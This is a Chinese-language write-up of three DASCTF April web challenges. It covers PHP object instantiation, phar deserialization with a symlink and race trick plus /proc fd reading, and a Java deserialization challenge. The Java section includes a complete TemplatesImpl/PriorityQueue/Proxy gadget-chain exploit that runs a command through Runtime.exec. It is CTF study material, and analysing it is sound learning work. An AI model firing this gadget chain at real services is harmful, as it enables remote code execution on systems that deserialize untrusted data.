dasctf4月赛

warmup-php

附件给了4个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

public function __construct($action,$properties){

$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;//__get
$object->run();//__call
}
}

new Action($action,$properties);

可控的就是Action类中的construct方法,给的类很多,

从他继承的抽象类的run方法一直进去,反正变量都可控,随便打

image.png

soeasy_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
FROM php:7.2.3-fpm

COPY files /tmp/files/
COPY src /var/www/html/
COPY flag /flag

RUN chown -R root:root /var/www/html/ && \
chmod -R 755 /var/www/html && \
chown -R www-data:www-data /var/www/html/uploads && \
sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
sed -i '/security/d' /etc/apt/sources.list && \
apt-get update && \
apt-get install nginx -y && \
/bin/mv -f /tmp/files/default /etc/nginx/sites-available/default && \
gcc /tmp/files/copyflag.c -o /copyflag && \
chmod 4711 /copyflag && \
rm -rf /tmp/files && \
rm -rf /var/lib/apt/lists/* && \
chmod 700 /flag

CMD nginx&&php-fpm

EXPOSE 80

index.php中有注释,标注了edit.php,简单构造能够读到源码

image.png

image.png

这道题是可以用条件竞争非预期的,就是再覆盖flag那里可以趁他覆盖之前,访问head.png,读到就行

  1. 利用文件上传上传 phar文件
  2. 写入超长文件名使得 symlink()函数出错返回 false
  3. unlink()触发 phar 反序列化将flag写入到可读的/tmp/flag.txt
  4. 建立与 /tmp/flag.txtuploads/head.png 的软连接
  5. 在建立与 /tmp/flag.txt 的软链接之前程序会将原来写入的flag给覆盖掉。所以要在覆盖flag后,另一个线程已经在copy /falg/tmp/flag.txt,这样 /uploads/head.png/tmp/flag.txt建立了链接,同时flag也没有被覆盖,然后访问 /uploads/head.png读取即可。

这里研究作者的预期解,如何让symlink函数报错进到unlink里面

image.png

这里出题人翻了symlink函数对应的底层c源码,寻找他其中返回false的情况

$filename的长度设置为4096以上,会导致symlink返回false

下面还有一点,

1
2
3
4
5
6
7
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag") !== false){
filewrite($filename,"Don't give me flag!!!");
}

image.png

这里的$f = fopen($filename,"r");句柄未关闭,导致可以在/proc/pid/fd/fd下读到,且距离die还贴心的给了2秒钟让你爆破

从而可以读到flag内容

剩下的是一些调试上的问题,可惜还没有开始玩底层php,这道题之后有时间再看c源码吧

http://max666.fun/21.html

warmup-java

环境

依赖:

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Controller
public class IndexController {
public IndexController() {
}

@RequestMapping({"/warmup"})
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "index";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class MyInvocationHandler implements InvocationHandler, Serializable {
private Class type;

public MyInvocationHandler() {
}

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Method[] methods = this.type.getDeclaredMethods();
Method[] var5 = methods;
int var6 = methods.length;

for(int var7 = 0; var7 < var6; ++var7) {
Method xmethod = var5[var7];
xmethod.invoke(args[0]);
}

return null;
}
}

存在问题就是远程打不通,本地通了,猜测是serialVersionUID的问题,这个明天问了佬再解决。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package com.poc;

import com.example.warmup.MyInvocationHandler;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.util.Utils;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Exp {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = Exp.createTemplatesImpl("calc.exe");

MyInvocationHandler myInvocationHandler = new MyInvocationHandler(TemplatesImpl.class);

setFieldValue(myInvocationHandler,"type", Templates.class);

Comparator comparator = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{ Comparator.class },myInvocationHandler);

final PriorityQueue<Object> queue = new PriorityQueue(2);
queue.add("1");
queue.add("1");

setFieldValue(queue,"comparator",comparator);
setFieldValue(queue,"queue",new Object[]{templatesImpl,templatesImpl});

String s = Utils.objectToHexString(queue);
System.out.println(s);
byte[] b = Utils.hexStringToBytes(s);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();

}



public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static TemplatesImpl createTemplatesImpl(String command) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//修改Neo类,插入command,创建恶意字节码,此处参考ysoserial
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.getCtClass(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
CtClass superC = pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();

setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
setFieldValue(templates, "_name", "s");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

return templates;
}

}